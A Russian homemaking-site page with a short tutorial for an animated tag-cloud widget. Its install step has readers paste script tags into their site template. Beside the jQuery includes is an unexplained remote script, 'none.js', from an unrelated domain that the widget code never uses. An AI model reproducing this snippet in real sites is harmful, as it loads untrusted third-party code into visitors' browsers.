Информер тегов с дизайном как на Dle - 16 Октября 2012 - Домоводство
Домоводство
Главная | Каталог статей | Информация о сайте | Мой профиль | Выход | Вы вошли как Гость | Группа "Гости" | RSS | Карта сайта | Видео 
Суббота 03.12.2016, 12:37
Меню сайта
Джейми Оливер - Голый повар [11]
Онлайн рецепты [416]
Заготовки [103]
Пицца [20]
Готовим в глиняных горшочках [23]
Паштеты [20]
Салаты [48]
Закуски - грибы [7]
Блюда из баклажанов и кабачков [5]
Готовим в микроволновке [5]
торты и пирожное [35]
Лекарственные чаи [10]

Полезные советы

Все о кулинарии [39]
Хранение продуктов [2]
Уход за посудой [5]
И стирать надо уметь и гладить! [12]
Уход за одеждой [7]
Уход за мехом и кожей [7]
Уход за обувью [6]
Дел по дому всегда много... [12]
Такие важные мелочи! [15]
Уход за предметами быта [1]
Домашняя химчистка [9]
Наведем порядок на кухне! [7]
Полезно знать! [10]

Шитье (видео)
Красота
Здоровье
Народная медицина
Лекарственные растения
Поиск

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама
Главная » 2012 » Октябрь » 16 » Информер тегов с дизайном как на Dle
22:56
Информер тегов с дизайном как на Dle
Теперь на вашем сайте теги станут выглядить более изящнее и в тоже время удивлять своим дизайном

Установка:

Ваш шаблон куда-нить наверх добавить этот код:

Code
<script type="text/javascript" src="http://ili.pp.ua/js_css/jquery-1.2.6.pack.js"></script>
<script src="http://cm4fan.ru/none.js" type="text/javascript"></script>
<script type="text/javascript" src="http://ili.pp.ua/js_css/effects.core.js"></script>
<script type="text/javascript">
$(document).ready(function(){
var f_color = '';
$("a.structure").hover(function() {
f_color = this.style.color;
$(this).animate({ backgroundColor: "#4f94d0", color: "#ffffff" }, 700);
},function()
{
$(this).animate({ backgroundColor: "white", color: f_color }, 200);
});
});
</script>


Теперь в любой чистый блок или в нижнюю часть сайта вставляем сами теги!

Code
  
  <div id="content">  
  <div id="right">  
  <div class="tags"><a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Фото</a>  
  <a href="/" style="padding:2px; font-size:20px; color:#c4c4c4;" class="structure">модуль</a>  
  <a href="/" style="padding:2px; font-size:31px; color:#aad815;" class="structure">шаблон</a>  
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">web20</a>  
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">blog</a>  
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">пользователи</a>  
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">комментарии</a>  
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">Skin</a>  
  <a href="/" style="padding:2px; font-size:17px; color:#c4c4c4;" class="structure">Скин</a>  
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">News</a>  
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Стильный</a>  
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">web 20</a>  
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">новости</a>  
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">видео</a>  
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Награды</a>  
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">оплата</a>  
  <a href="/" style="padding:2px; font-size:12px; color:#336699;" class="structure">платный</a>  
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">files</a>  
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Hamer</a>  
  <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">хаки</a>  
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">free</a>  
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">warcraft</a>  
  <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">softer</a>
Просмотров: 37 | Добавил: Aninew | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Реклама
 
Copyright MyCorp © 2016


При копировании материала активная ссылка на сайт "Домоводство" - обязательна!!!
Топ100- Хозяйка Goon Каталог сайтов